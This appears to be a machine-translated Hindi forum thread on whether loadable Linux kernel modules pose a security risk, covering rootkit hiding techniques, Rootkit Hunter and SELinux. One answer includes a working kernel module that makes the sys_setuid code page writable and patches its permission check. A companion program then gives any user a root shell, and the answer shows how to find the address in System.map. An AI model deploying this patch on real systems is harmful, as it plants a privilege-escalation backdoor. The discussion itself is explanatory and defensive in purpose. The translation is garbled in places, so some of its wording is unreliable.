लिनक्स कर्नेल मॉड्यूल कितने सुरक्षा जोखिम हैं? मुझे याद है कि अगर किसी को पहुंच मिलती है तो यह संभव था, कि उन्हें बस रूटकिट मॉड्यूल लोड करना था। क्या ये सही है? क्या इसके खिलाफ सुरक्षा करने का कोई तरीका है?लिनक्स कर्नेल मॉड्यूल - सुरक्षा जोखिम?
कर्नेल के कौन से हिस्सों को वास्तव में मॉड्यूल इंटरफ़ेस के माध्यम से उजागर किया जाता है, और प्रोग्रामर के पास कौन से फ़ंक्शन तक पहुंच होती है, जिसका उपयोग दुर्भावनापूर्ण उद्देश्यों के लिए किया जा सकता है?
डगलस ने जो कहा वह पूरी तरह से सही है, लिनक्स monolithic है और एक मॉड्यूल सबकुछ कर सकता है। यह मुख्य रूप से लिनस थोरवाल्ड्स द्वारा संचालित एक डिज़ाइन पसंद है और ओपन सोर्स दर्शन में फिट बैठता है (क्यों सीमित है, यह प्रदर्शन लागत में है और आप देख सकते हैं कि स्रोत से मॉड्यूल क्या करता है - व्यावहारिक रूप से केवल वास्तविक नरों के लिए बोल रहा है :-) -)।
अब आपको तीसरे पक्षों से कुछ तथाकथित बाइनरी मॉड्यूल लोड करना होगा। भले ही उन्हें संकलित किया जा रहा हो, फिर भी आमतौर पर ब्लैक बॉक्स के रूप में एक सामान्य ऑब्जेक्ट फ़ाइल होती है और इसके आस-पास केवल इंटरफेस वास्तव में संकलित होते हैं (जैसे कि मैं उपयोग करने वाले एनवीडिया ग्राफिक ड्राइवरों के लिए)। यदि आप इस तरह के मॉड्यूल लोड करते हैं, तो कोई निश्चित जवाब नहीं है, आपको विक्रेता पर भरोसा करना है, अगर नहीं, तो ऐसा न करें ...
केवल रूट सिद्धांत में सही मॉड्यूल लोड कर सकता है। अभ्यास में, हालांकि कोई भी प्रणाली सही नहीं है (यहां तक कि लिनक्स)। समय-समय पर कर्नेल भेद्यताएं होती हैं जो स्थानीय उपयोगकर्ताओं या दूरस्थ उपयोगकर्ताओं (बहुत दुर्लभ मामलों) के लिए कर्नेल में कोड पेश करने के लिए संभव बनाती हैं ताकि वे अधिकारों को रूट कर सकें और इस प्रकार आपके सिस्टम पर नियंत्रण ले सकें। एक कर्नेल अद्यतित होने के लिए एक अच्छी बात है ...
इसे सटीक करने के बाद, इस सवाल के दूसरे भाग में जाएं कि अब तक इसका उत्तर नहीं दिया गया है: "प्रोग्रामर के पास कौन से फ़ंक्शन हैं, जिनका उपयोग दुर्भावनापूर्ण उद्देश्यों के लिए किया जा सकता है?"। चीजें हैं जो एसई लिनक्स के लिए किया जाता है में से कई लोग भी, दुर्भावनापूर्ण उद्देश्यों के लिए इस्तेमाल किया जा सकता है जैसे:
/proc या /sys निर्देशिका में जानकारी छिपाई जा रही है, उदाहरण के लिए दुर्भावनापूर्ण उपयोगकर्ता प्रक्रियाओं छुपा तो वे जैसे उपकरणों में प्रदर्शित नहीं होते top, ps और इसी तरह। इसमें दुर्भावनापूर्ण मॉड्यूल को छिपाना शामिल है, इसलिए यह lsmod में सूचीबद्ध नहीं है।सूची बड़ी है, अगर आप अधिक विवरण चाहते हैं आप रूटकिट हंटर पर एक नज़र हो सकता है (http://www.rootkit.nl/projects/rootkit_hunter.html)। यह एक उपकरण है जिसे मैं समय-समय पर चलाता हूं। यह कुछ व्यापक रूप से प्रयुक्त rootkits की उपस्थिति का पता लगा सकता है। यह रूटकिट्स की सूची प्रबंधित करता है और नामों को गुगल करने से आप स्पष्ट कर सकते हैं कि इन जानवरों का किस प्रकार का लक्ष्य चल रहा है ... डगलस की तरह, उन कार्यों का उपयोग किया जा सकता है जो वास्तव में कर्नेल में उपलब्ध सभी कार्यों को प्रतिबंध के बिना उपलब्ध हैं। तो यह बता रहा है कि कोई मॉड्यूल खराब आदमी है या नहीं, यह एक स्पष्ट बात नहीं है। मुझे लगता है कि यह सुरक्षा समस्या के बारे में तुम्हारा विचार से कुछ स्पष्ट होगा Linux Kernel Modules HOWTO
:
एक कर्नेल मॉड्यूल पूर्ण कर्नेल विशेषाधिकारों के साथ चल रहा है - यह कर्नेल कुछ भी कर सकता है, जो कि बहुत कुछ है। एक अच्छी तरह से व्यवहार मॉड्यूल कर्नेल द्वारा प्रतीकों के रूप में निर्यात किए जाने वाले कार्यों को उन कार्यों में प्रतिबंधित कर देगा, लेकिन कुछ भी वास्तव में किसी मॉड्यूल को किसी भी मनमाने ढंग से फ़ंक्शन को कॉल करने से रोकता है जिसमें उसके पास किसी भी मौजूदा फ़ंक्शन के बराबर कोड का पता या निष्पादित कोड होता है।
सुरक्षा यह है कि केवल रूट कर्नेल मॉड्यूल लोड कर सकता है।
रूट मशीन को किसी भी चीज़ से बना सकता है, इसलिए वृद्धिशील जोखिम नगण्य है। स्पष्टीकरण के लिए - मॉड्यूल लोड करने से रूट को छिपाने की अनुमति मिल सकती है, या सिस्टम के बारे में कम जानकारी के साथ हमले को संचालित करने की अनुमति मिल सकती है, लेकिन सिद्धांत रूप में, रूट कर्नेल छवि को ओवरराइट कर सकता है, और सिस्टम को उस छवि में रीबूट कर सकता है, यह सबकुछ प्राप्त कर सकता है एक कर्नेल मॉड्यूल कर सकते हैं। चूंकि/dev/kmem आमतौर पर लिखने योग्य नहीं है, इसलिए यह संभव है कि उपयोगकर्ता-स्थान रूट प्रक्रिया एक कर्नेल मॉड्यूल बनाम कर सकती है, लेकिन एक पुनर्लेखन और रीबूट इसे 'ठीक' कर सकता है।
इसके अलावा कर्नेल मेमोरी को बदलने के विकल्प भी हो सकते हैं, उदा। यदि आप किसी प्रक्रिया को छिपाना चाहते हैं, तो आप लोड करने योग्य मॉड्यूल का उपयोग कर सकते हैं, या आप ट्रोजन संस्करण के साथ ps को प्रतिस्थापित कर सकते हैं।
इसी प्रकार एक फ़ाइल को छिपाने के लिए, आप कर्नेल मॉड्यूल का उपयोग कर सकते हैं, या आप बस ls को प्रतिस्थापित कर सकते हैं।
आप कह रही है एक कर्नेल मॉड्यूल खतरनाक है यह पता Wikipedia
जाँच करना चाहते हो सकता है, कह रही है खिड़कियों पर एक ड्राइवर खतरनाक है की तरह है। वे निश्चित रूप से हो सकते हैं, लेकिन आमतौर पर नहीं होते हैं। श्री लिडर के रूप में, कहा गया रूट बहुत कुछ कर सकता है, लेकिन मुझे संदेह है कि यह कर्नेल एपीआई को सीधे कॉल कर सकता है, इसके लिए इसे कर्नेल मॉड्यूल लोड करना होगा (जो यह स्पष्ट रूप से कर सकता है)।
मैंने सोचा कि आमतौर पर X86 कंप्यूटरों में अंगूठियों का उपयोग नहीं किया जाता था? मुझे यकीन है कि मैंने सुना है? –
केवल दो छल्ले - 0 और 3 मुझे लगता है। –
रूट कर्नेल छवि को ओवरराइट कर सकता है, और सिस्टम को रीबूट कर सकता है, इसलिए यदि यह चाहता है तो यह पूर्ण नियंत्रण हो सकता है (स्वीकार्य रूप से एक स्पष्ट रीबूट की लागत पर) –
बस प्रलेखन के उस टुकड़े जोड़ना चाहते हैं।
यदि आप बहुत अधिक परवाह करते हैं, तो SELinux आपका मित्र है।
यदि रूट इस तरह कार्य करने में सक्षम है ... रूट ... आपके पर्यावरण में एक समस्या है, वहां कई वैकल्पिक लिनक्स कॉन्फ़िगरेशन हैं जहां रूट होने के कारण आपको कहीं भी नहीं मिलता है।
अभी भी अधिक सुरक्षा के साथ कुछ के लिए, मूल्यांकन * IX O/Ses में से एक का प्रयास करें (मैंने कई मूल्यांकन किए हैं, लेकिन कोई भी ओपन ओ/एस नहीं था) या एक स्वाभाविक रूप से अधिक सुरक्षित ओ/एस, संदेश-पासिंग विविधता के कुछ के रूप में जहां "सर्वर" रिंग 0/पर्यवेक्षक/कर्नेल मोड में नहीं चलता है।
पहले से ही सामान्य सामान्य स्तर के उत्तर। उदाहरण कोड स्तर पर इस समस्या को कैसे देखें, यह स्पष्ट करें कि मॉड्यूल स्थापित होने पर कमजोर लिनक्स कितना कमजोर है।
मेरे उदाहरण मॉड्यूल:
#include <linux/version.h>
#include <linux/module.h>
#include <linux/highmem.h>
#include <asm/unistd.h>
char *p;
int init_module(void) //0x0ffffffff8107f760 depends on system must be taken from the map
{ pte_t *pte1;
unsigned int dummy_but_needed;
p=(char *)(0xffffffff8107f3a0 +0x4d); // Got from /boot System.map.xx.xx.xx
pte1 = lookup_address((unsigned long long)p, &dummy_but_needed);
pte1->pte |= _PAGE_RW; //Now the code page is writable
*(p) = (char)0xeb; //0xeb is the code of the unconditional jmp- we don't care are we allowed to get rights. Previous was conditional jmp "75".
return -1; // Insmod complains and module disappears from the system but module did it's work already
}
MODULE_LICENSE("GPL");//We don't need cleanup_module
उपयोगकर्ता स्तर टर्मिनल पर सुपर उपयोगकर्ता विशेषाधिकार देने परीक्षण कार्यक्रमों:
int main()
{
setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;");
system("/bin/bash"); //rax=system call nr and rdi=first parameter
}
यह एक खतरनाक रूटकिट है? नहीं। Sys_setuid पता खोजने के लिए आपके पास पहले से ही रूट विशेषाधिकार होना चाहिए! और व्यावहारिक रूप से हर प्रणाली में यह पता अलग होता है।
वैसे भी यह दिखाता है कि हेरफेर कितना आसान है। असल में गतिशील (रन-टाइम) विधियों द्वारा प्रयुक्त स्थिरता को प्रतिस्थापित करना बहुत आसान है - यहां प्रस्तुत नहीं किया गया है। (यह एक रूटकिट होगा।मैंने कोशिश की और कोई वर्तमान रूटकिट शिकार कार्यक्रम इसे खोजने में सक्षम नहीं था और यह भी हर सिस्टम कॉल ले गया।)
मैंने कर्नेल 3.2 और एएमडी 64 के साथ इसका परीक्षण किया। अन्य एचडब्ल्यू पर काम नहीं करेगा!
(कैसे लगातार जरूरत को खोजने के लिए:
xxxx:/boot$ sudo grep sys_setuid System.map-3.2.0-31-generic
[sudo] password for xxxx:
ffffffff8107f3a0 T sys_setuid
ffffffff810a23f0 T sys_setuid16
)
आप केवल (शारीरिक और वैध) मशीन के व्यवस्थापक संभालने रहे रूट विशेषाधिकारों है, जो अक्सर मामला नहीं है। :) एलकेएम सामान की जड़ कर सकते हैं बिल्कुल बिल्कुल कुछ नहीं जानता है। –